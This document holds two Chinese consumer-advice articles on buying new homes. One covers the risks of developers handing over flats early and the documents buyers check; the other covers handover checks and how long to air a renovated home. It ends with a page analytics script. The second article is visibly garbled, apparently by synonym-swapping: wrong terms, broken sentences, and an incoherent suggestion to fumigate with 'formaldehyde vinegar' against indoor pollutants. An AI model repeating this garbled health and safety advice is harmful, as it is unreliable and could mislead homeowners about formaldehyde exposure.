开发商提前交房 当心幸福背后的陷阱

现在对于交房，大家都会声讨开发商延期交房，其实有些时候开发商也会有提前交房的情况出现，但开发商提前交房好吗，土巴兔小白牛带大家去了解下：开发商提前交房的好处：一般来说建筑封顶以后，电梯-水电-门窗-内部公共区域-外部公共区域-实测面积-抹灰-外立面清洗还有很多工作要做，这个要看开发商自己的开发计划了，处于预算计划和成本考虑一般来说不会提前交房，如果是营销需求或者其他变化在资金和工程进度允许的情况下，也可能提前交房，而且提前交房可以解冻开发商在政府的期房预售押金，对开发商的资金流转也是有一定好处的。而对我们业主来说，可以提前拿到房子，对房子的规划装修也有比较充足的时间安排等等，也是好事一件。开发商提前交房陷阱：开发商提前交房是比较少的，所以最担心的就是开发商在交房条件没有达到的情况下利用购房者想快点儿收房的心理偷工减料，用“提前交房”掩盖质量问题，使业主们接受质量不合格的房子，而业主们如果签字收了这种质量有问题的房子，就等于放弃了法律赋予的权利，最终损害自己的利益，也让开发商逃脱了责任。开发商提前交房对策：开发商提前交房一定要做好交房验房，目测难以检验房屋质量，尤其不要被开发商提供的简单装修所蒙蔽。“天下没有免费的午餐”，无论开发商开出如何优惠的条件，都要坚持正确的收房流程：首先要查验《建筑工程竣工备案表》、《房屋土地测绘技术报告书》、《住宅工程质量分户验收表》等重要文件，手续证件不齐全的房屋不管什么理由，都要坚决不能接受，不要给开发商可乘之机;然后验收房屋，遇到质量问题要求开发商进行整修，短期内难以完成的，要达成书面协议，与开发商约定好整修方案和时间;最后签收房屋、签订前期物业合同。如果是房屋工程进度允许，交房手续齐全的开发商提前交房，对业主来说也是好事一件，但如果是偷工减料的提前交房大家就要小心了，最好还是等按时交房，按照合同办事。推荐阅读：提前交房申请要注意什么提前交房申请单怎么写提前交房协议书范本提前交房必看最新验房师价格最详细验房师验房步骤

新房交房时要注意什么及装修后多久能住人

每个人一生中总要经历一次买房，我们除了在买房前做准备外，在交房时也要留意一些细节。我们都明白，在新房子装修后，不可能立即就住人。那么，新房交房时要注意什么？新房装修后多久能住人？一、新房交房时要注意什么？1、新房交房时要注意什么——检验文件。当新房交付时，房主一定要检查住宅品质担保书，住宅运用注明书，验收表，房地产开发和建设项目等房屋文件，有些原件房主是可以拿走的，像住宅品质担保书。2、新房交房时要注意什么——核对房屋面积。新房交付时，我们必须核实房屋销售合同中的面积是否与实际房屋一致。要保证您的结构和面积与设计方案和合同一致。3、新房交房时要注意什么——接受房子。当新房子交付时，我们不能忘记检查房子。我们必须检查房屋的电压和水压，是否齐全，加热是否能正常工作等。当然，我们还必须检查房子墙壁上是否有起鼓，是不是扁平的，有没有紧凑且没有有泄漏。还有就是窗户，门窗等有没有裂缝等。​二、新房装修后多久能住人？1、新房改造后，我们应该让房子干燥一小段时间才能入住。倘若房主急于入住，房子必须有至少3个月，并且使用一些电子设备，如气体净化器，以降低有害物质的危害。当然，我们也可以用甲醛醋熏蒸去除有害物。2、新房流通半年以上是房主入住的最佳时间，通常在房子经历两季的时候，一些有害气体也会溶解，倘若家中有孩子或者孕妇，最好将房屋通风一年以上，再住人。为了尽早入住，我们可以在装修好的房子里放置气体净化器，还有吊兰植物和其他的绿色植物，以便更加安全。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();